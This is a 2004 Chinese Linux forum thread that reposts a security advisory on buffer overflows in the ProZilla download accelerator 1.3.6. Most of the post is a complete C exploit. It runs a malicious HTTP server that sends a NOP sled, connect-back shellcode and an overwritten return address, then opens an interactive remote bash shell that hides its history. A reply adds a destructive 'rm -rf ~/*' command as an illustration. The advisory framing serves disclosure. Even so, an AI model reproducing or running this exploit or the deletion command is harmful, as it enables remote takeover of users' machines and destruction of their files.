LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 614|回复: 3

刚下载了prozilla 结果发现........ ZT

[复制链接]
发表于 2004-12-1 11:19:17 | 显示全部楼层 |阅读模式
http://www.nsfocus.net/index.php ... d=7157&keyword=

ProZilla多个安全漏洞

发布日期:2004-11-23
更新日期:2004-11-26

受影响系统:

    ProZilla ProZilla 1.3.6

描述:prozilla是一款Linux下的下载加速程序。

prozilla存在多个安全缓冲区溢出,远程攻击者可以利用这个漏洞以用户进程权限在系统上执行任意指令。

prozilla在处理网络协议时存在缓冲区溢出,远程攻击者可以设置恶意服务器,诱使用户使用ProZilla获取文件,可导致以用户进程权限在系统上执行任意指令。

<*来源:Gentoo Linux Security Advisory
  
  链接:http://marc.theaimsgroup.com/?l= ... 23398421738&w=2
        http://marc.theaimsgroup.com/?l= ... 36626320497&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Serkan Akpolat (deicide@siyahsapka.org)提供了如下测试方法:


  1. /* 20/10/2004
  2. ** This is a private work of Serkan Akpolat [email]deicide@siyahsapka.org[/email]
  3. ** for the unpublished prozilla-1.3.6 format string/buffer overflow
  4. ** vulnerability , though this version only exploits the stack overflow.
  5. ** Tested against current gentoo/slack/debian/suse with success. :P
  6. ** Client side: proz hostname:port/anyfile.name
  7. ** Default listen port is 8080
  8. ** Homepage: [url]www.siyahsapka.org[/url] ||  deicide.siyahsapka.org
  9. **/

  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <sys/types.h>
  13. #include <sys/wait.h>
  14. #include <sys/socket.h>
  15. #include <netinet/in.h>
  16. #include <arpa/inet.h>
  17. #include <unistd.h>
  18. #include <string.h>
  19. #include <signal.h>
  20. #define PORT 8080
  21. #define MAX_RESPONSE 2048
  22. #define TRUE 1

  23. char packet_start[]=\
  24. "HTTP/1.1 302 Found\r\n"
  25. "Location: [url]http://[/url]";

  26. char packet_end[]=\
  27. "\r\n"
  28. "Content-Encoding: gzip\r\n"
  29. "Content-Type: text/html; charset=iso-8859-1\r\n"
  30. "Connection: close\r\n\r\n";

  31. /* Shellcode with no control character.
  32. ** Nop's in the shellcode will be patched for attacker defined ip port
  33. ** at runtime.
  34. */
  35. char real_response[]=\
  36. "HTTP/1.1 302 Found\r\n"
  37. "Location: [url]http://blahblahblah.com/movie.wmv\r\n[/url]"
  38. "Content-Encoding: gzip\r\n"
  39. "Content-Type: text/html; charset=iso-8859-1\r\n"
  40. "Connection: close\r\n\r\n";


  41. unsigned char shellcode[] = {
  42.   /* write(1,"\n\n\n\n",4) 0x31 times */
  43.   0x31, 0xf6, 0x31, 0xff, 0x83, 0xc6, 0x31, 0x31, 0xc0, 0xb9, 0x5a, 0x5a,
  44.   0x5a, 0x5a, 0x81, 0xe9, 0x50, 0x50, 0x50, 0x50, 0x51, 0x54, 0x59, 0x31,
  45.   0xdb, 0x43, 0x40, 0x40, 0x40, 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42,
  46.   0xcd, 0x80, 0x47, 0x39, 0xf7, 0x75, 0xdc,
  47.   /* write(1,"\n\n\nEnd of file while parsing header",38);*/
  48.   0x31, 0xc0, 0x31, 0xdb, 0xbe, 0x4a, 0x4a, 0x4a, 0x4a, 0x81, 0xee, 0x40,
  49.   0x40, 0x40, 0x40, 0x56, 0x68, 0x61, 0x64, 0x65, 0x72, 0x68, 0x67, 0x20,
  50.   0x68, 0x65, 0x68, 0x72, 0x73, 0x69, 0x6e, 0x68, 0x65, 0x20, 0x70, 0x61,
  51.   0x68, 0x77, 0x68, 0x69, 0x6c, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x68, 0x6f,
  52.   0x66, 0x20, 0x66, 0x68, 0x45, 0x6e, 0x64, 0x20, 0x54, 0x59, 0x43, 0x40,
  53.   0x40, 0x40, 0x40, 0x31, 0xd2, 0xb2, 0x24, 0xcd, 0x80,
  54.   /* fork(); */
  55.   0x31, 0xc0, 0x40, 0x40, 0xcd, 0x80,
  56.   /* If we are parent  exit(?) */
  57.   0x31, 0xdb, 0x39, 0xc3, 0x74, 0x23, 0x31, 0xc0, 0xfe, 0xc0, 0xfe, 0xc8,
  58.   0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
  59.   0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
  60.   0xfe, 0xc0, 0x43, 0xcd, 0x80,
  61.   /* setsid() */
  62.   0x31, 0xc0, 0xb0, 0x42, 0xcd, 0x80,
  63.   /* signal(SIGHUP,SIG_IGN) */
  64.   0xb0, 0x30, 0x66, 0x29, 0xdb, 0x43, 0x89, 0xd9, 0xcd, 0x80,
  65.   /* sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
  66.   0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0x89, 0xe1, 0xb0, 0x66, 0xcd,
  67.   0x80,
  68.   /* i = connect(sock, sockaddr, 16) */
  69.   0x89, 0xc6, 0x4b, 0x53, 0x53, 0xbf, 0x90, 0x90, 0x90, 0x90, 0x81, 0xf7,
  70.   0x90, 0x90, 0x90, 0x90, 0x57, 0x66, 0xba, 0x90, 0x90, 0x66, 0x81, 0xf2,
  71.   0x90, 0x90, 0x66, 0x52, 0x43, 0x43, 0x66, 0x53, 0x89, 0xe2, 0xb3, 0x50,
  72.   0x80, 0xeb, 0x40, 0x53, 0x52, 0x50, 0x89, 0xe1, 0xb3, 0x4f, 0x80, 0xeb,
  73.   0x4c, 0xb0, 0x66, 0xcd, 0x80,
  74.   /* if (i != 0) jmp exit(?) */
  75.   0x31, 0xc9, 0x39, 0xc8, 0x75,0x57,
  76.   /* write(sd,"SSSS",4) */
  77.   0x68, 0x53, 0x53, 0x53, 0x53, 0x54, 0x59, 0x89, 0xf3, 0x40, 0x40, 0x40,
  78.   0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42, 0xcd, 0x80,
  79.   /* dup2 loop */
  80.   0x31, 0xc9, 0x41, 0x41, 0xb0, 0x3f, 0xcd, 0x80, 0x49, 0x75, 0xf9, 0xb0,
  81.   0x3f, 0xcd, 0x80,
  82.   /* execve("/bin/bash",{"bash",NULL} , NULL) */
  83.   0x31, 0xc0, 0x31, 0xd2, 0x50, 0x6a, 0x68, 0xb8, 0x40, 0x34, 0x34, 0x33,
  84.   0x35, 0x6f, 0x56, 0x55, 0x40, 0x50, 0xb8, 0x40, 0x31, 0x34, 0x33, 0x35,
  85.   0x6f, 0x53, 0x5d, 0x5d, 0x50, 0x54, 0x5b, 0x31, 0xc0, 0x50, 0x68, 0x62,
  86.   0x61, 0x73, 0x68, 0x89, 0xe7, 0x50, 0x57, 0x54, 0x59, 0xb0, 0x4b, 0x2c,
  87.   0x40, 0xcd, 0x80,
  88.   /* exit(?); */
  89.   0x31, 0xc0, 0x40, 0xcd, 0x80
  90. };


  91. void usage(char *progname)
  92. {
  93.     fprintf(stderr, "Usage: %s [-cp] [ip]\n\n"\
  94.     "-c <ip address> connectback ip address\n"\
  95.     "-p <port>       connectback port (default = 8080)\n", progname);   
  96.     exit(1);
  97. }

  98. /* Interactive shell session */
  99. void shell(int sock)
  100. {
  101.     /* from sambal.c, hey eSDee ;) */
  102.     fd_set  fd_read;
  103.     char buff[1024], *cmd="unset HISTFILE; echo "*** Hobareeeey! ***";uname -a;id;\n";
  104.     int n;
  105.     FD_ZERO(&fd_read);
  106.     FD_SET(sock, &fd_read);
  107.     FD_SET(0, &fd_read);
  108.     send(sock, cmd, strlen(cmd), 0);
  109.    
  110.     while(1) {
  111.         FD_SET(sock,&fd_read);
  112.         FD_SET(0,&fd_read);
  113.         if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
  114.         if (FD_ISSET(sock, &fd_read)) {
  115.             if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
  116.                 fprintf(stderr, "EOF\n");
  117.                 exit(2);
  118.             }
  119.             if (write(1, buff, n) < 0) break;
  120.         }
  121.         if (FD_ISSET(0, &fd_read)) {
  122.             if((n = read(0, buff, sizeof(buff))) < 0){
  123.                 fprintf(stderr, "EOF\n");
  124.                 exit(2);
  125.             }
  126.             if (send(sock, buff, n, 0) < 0) break;
  127.         }
  128.         usleep(10);
  129.     }
  130.     fprintf(stderr, "Connection lost.\n\n");
  131.     exit(0);
  132. }

  133. void put_ip(int i,int j)
  134. {
  135.     shellcode[j]=i;
  136. }

  137. void put_xor(int i,int j,int k)
  138. {
  139.     shellcode[j+k]=i;
  140. }

  141. int find_xor(int a,int b,int c)
  142. {
  143.     int i=49,j=49;
  144.     for(i=49;i<255;i++) {
  145.         for(j=49;j<255;j++) {
  146.             if(a==(i^j)) {
  147.                 put_ip  (i,b);
  148.                 put_xor (j,b,c);
  149.                 b++;
  150.                 return b;
  151.             }
  152.         }
  153.     }
  154.     return -1;
  155. }

  156. void check_zombie(int x)
  157. {
  158.     waitpid(-1,NULL,WNOHANG);
  159. }


  160. void send_start(int connection)
  161. {
  162.     if (send(connection,packet_start,strlen(packet_start),0)==-1) {
  163.         perror("send");
  164.     }
  165.     fprintf(stderr,"[+] Sending Header Start\n");
  166. }

  167. void send_nop(int connection)
  168. {
  169.     int  i = 0;
  170.     int  j = 1;
  171.     char buffer [1024] ="AA@@";
  172.     char counter [128];
  173.    
  174.     memset(counter ,0x00,128 );
  175.     memset(buffer+3,0x41,1021);
  176.     buffer[1024-1]='\0';

  177.     while(i<96) {
  178.         if (send(connection,buffer,strlen(buffer),0)==-1) {
  179.             perror("send");
  180.         }
  181.         i++;
  182.         if(!(i%4))
  183.             j++;
  184.         memset (counter,0x2b,j);
  185.         memset (counter+j,0x20,26-j);
  186.         fprintf(stderr ,"\r[+] Sending 96kb Nop [ %s]",counter);
  187.         memset(counter,0x00,sizeof(counter));
  188.     }
  189.    
  190.     fprintf(stderr,"\n");
  191.     fprintf(stderr,"[+] Sending Shellcode\n");
  192.    
  193.     if (send(connection,shellcode,strlen(shellcode),0)==-1) {
  194.         perror("send");
  195.     }
  196.    
  197. }

  198. void send_hostname(int connection)
  199. {
  200.     int  i = 0;
  201.     char fill_buffer[1600];
  202.     memset(fill_buffer,0x00,1600);
  203.    
  204.     /* We dont care about alignment, return 0x08080808 */
  205.    
  206.     for(;i<400;i++) {
  207.         strcat(fill_buffer , "\x08\x08\x08\x08");
  208.     }
  209.    
  210.     fprintf(stderr,"[+] Sending Return address [ 0x08080808 ]\n");
  211.    
  212.     if (send(connection,fill_buffer,1600,0)==-1) {
  213.         perror("send");
  214.     }
  215. }

  216. void send_end(int connection)
  217. {
  218.     fprintf(stderr,"[+] Sending Header End\n");
  219.     if (send(connection,packet_end,strlen(packet_end),0)==-1) {
  220.         perror("send");
  221.     }
  222. }

  223. int init_socket(struct sockaddr_in *control_addr,struct sockaddr_in *from_addr,int *from_len)
  224. {
  225.     int control;
  226.    
  227.     if((control=socket(AF_INET,SOCK_STREAM,0))<0) {
  228.         perror("Socket:");
  229.         exit(1);
  230.     }
  231.    
  232.     control_addr->sin_port=htons(PORT);
  233.     control_addr->sin_addr.s_addr=INADDR_ANY;
  234.     control_addr->sin_family=AF_INET;

  235.     if((bind(control,(struct sockaddr *)control_addr,sizeof(*control_addr)))!=0) {
  236.         perror("Bind:");
  237.         exit(1);
  238.     }
  239.     if(listen(control,128)!=0) {
  240.         perror("Listen:");
  241.         exit(1);
  242.     }

  243.     *from_len =sizeof(*from_addr);
  244.     signal(SIGCHLD,check_zombie);
  245.     return control;
  246. }


  247. int main(int argc,char **argv)
  248. {
  249.     /* ip patch position */
  250.     int    i=194;
  251.     int    opt_p=0,opt_c=0;
  252.     int    port,porthigh,portlow;
  253.     int    c,f;
  254.     int    control;
  255.     int    connection,from_len;
  256.     int    ip1,ip2,ip3,ip4;
  257.     char   http_response [2048];
  258.     char   client_request[2048];
  259.     struct sockaddr_in *control_addr = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));
  260.     struct sockaddr_in *from_addr    = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));
  261.    
  262.     while((c=getopt(argc, argv ,"hc:p:"))!=EOF) {
  263.             switch (c) {
  264.                 case 'h':
  265.                     usage(argv[0]);
  266.                 case 'c':
  267.                     opt_c=1;
  268.                     sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3,&ip4);
  269.                     break;
  270.                 case 'p':
  271.                     opt_p=1;
  272.                     port = atoi(optarg);
  273.                     if ((port <= 0) || (port > 65535)) {
  274.                         fprintf(stderr, "Invalid port.\n\n");
  275.                         exit(1);
  276.                     }
  277.             }
  278.     }
  279.     if(opt_p) {
  280.         porthigh = (port & 0xff00) >> 8;
  281.         portlow  = (port & 0x00ff);
  282.     }  
  283.     else {
  284.         port     = 8080;
  285.         porthigh = (port & 0xff00) >> 8;
  286.         portlow  = (port & 0x00ff);
  287.     }
  288.     if(!opt_c) {
  289.         usage(argv[0]);
  290.     }
  291.     memset(http_response,0x0,MAX_RESPONSE);
  292.     control = init_socket(control_addr,from_addr,&from_len);
  293.    
  294.     /* patch ip */
  295.     i = find_xor(ip1,i,6);
  296.     i = find_xor(ip2,i,6);
  297.     i = find_xor(ip3,i,6);
  298.     i = find_xor(ip4,i,6);

  299.     /* patch port */
  300.     i  = 207;
  301.     i = find_xor( porthigh,i,5);
  302.     i = find_xor( portlow ,i,5);
  303.    
  304.    
  305.     while(TRUE) {
  306.         if((connection=accept(control,(struct sockaddr *)from_addr,&from_len))==-1) {
  307.             exit(1);
  308.         }
  309.         
  310.         fprintf(stderr,"[+] Victim at : %s\n", inet_ntoa(from_addr->sin_addr));
  311.         if (read(connection,client_request,sizeof(client_request))==0) {
  312.             exit(1);
  313.         }
  314.         
  315.         /* Victim Responded */
  316.         if(strstr(client_request,"Prozilla"))
  317.         {
  318.             fprintf(stderr,"[+] Victim using Prozilla.\n");
  319.             f=1;
  320.         }
  321.         else {
  322.             if(strstr(client_request,"SSSS")) {
  323.                 fprintf(stderr,"Nice , Victim Responded!\n");
  324.                 shell(connection);
  325.             }
  326.             else {
  327.                 fprintf(stderr,"[+] Victim is not using Prozilla! Sending a normal response.\n");
  328.                 if(send(connection,real_response,strlen(shellcode),0)==-1) {
  329.                     perror("send");
  330.                 }
  331.             }
  332.         }
  333.         if(f==1) {
  334.             /* HTTP */
  335.             send_start(connection);
  336.             /* nop sled [nop@] */
  337.             send_nop(connection);
  338.             /* Overwrite Saved Ret , return to heap */
  339.             send_hostname(connection);
  340.             /* HTTP END */
  341.             send_end(connection);
  342.             f=0;
  343.         }
  344.         close(connection);  
  345.         memset(client_request,0x0,sizeof(client_request));

  346.         if (fork()==0) {
  347.                free(from_addr);
  348.             free(control_addr);
  349.             exit(0);
  350.         }
  351.         else {
  352.             close(connection);
  353.         }

  354.     }

  355.     printf("Done");
  356.     return 0;
  357. }
复制代码

建议:厂商补丁:

ProZilla
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://prozilla.genesys.ro/

浏览次数:72
严重程度:0(网友投票)
发表于 2004-12-1 11:37:38 | 显示全部楼层
prozilla存在多个安全缓冲区溢出,远程攻击者可以利用这个漏洞以用户进程权限在系统上执行任意指令。
晕!你用普通用户登录的,普通用户权限能造成多大影响啊?
发表于 2004-12-1 16:09:56 | 显示全部楼层
最初由 神游九州 发表
普通用户权限能造成多大影响啊?

例如
$ rm -rf ~/* ; rm -rf ~/.*
?:p
发表于 2004-12-1 19:43:28 | 显示全部楼层
没有什么系统是完全安全嘀~~~~~
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表